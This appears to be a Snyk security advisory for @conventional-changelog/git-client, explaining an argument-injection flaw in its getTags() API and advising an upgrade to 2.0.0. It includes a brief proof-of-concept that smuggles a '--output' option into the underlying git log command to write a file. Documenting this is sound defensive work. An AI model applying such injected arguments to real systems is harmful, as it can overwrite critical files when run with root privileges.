Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade @conventional-changelog/git-client
to version 2.0.0 or higher.
@conventional-changelog/git-client is a Simple git client for conventional changelog packages.
Affected versions of this package are vulnerable to Arbitrary Argument Injection via the getTags()
API which allows specifying extra parameters passed to the git log
command. An attacker can overwrite critical system files by passing crafted parameters to the underlying git command if the application is running as privileged root user.
@conventional-changelog/git-client@1.0.1
or earlierimport { GitClient, } from "@conventional-changelog/git-client";
async function main() { const gitDirectory = "/tmp/some-git-directory"; const client = new GitClient(gitDirectory);
const params = ["--output=/tmp/r2d2"]; for await (const tag of client.getTags(params)) { console.log(tag); } }
main();
/tmp/r2d2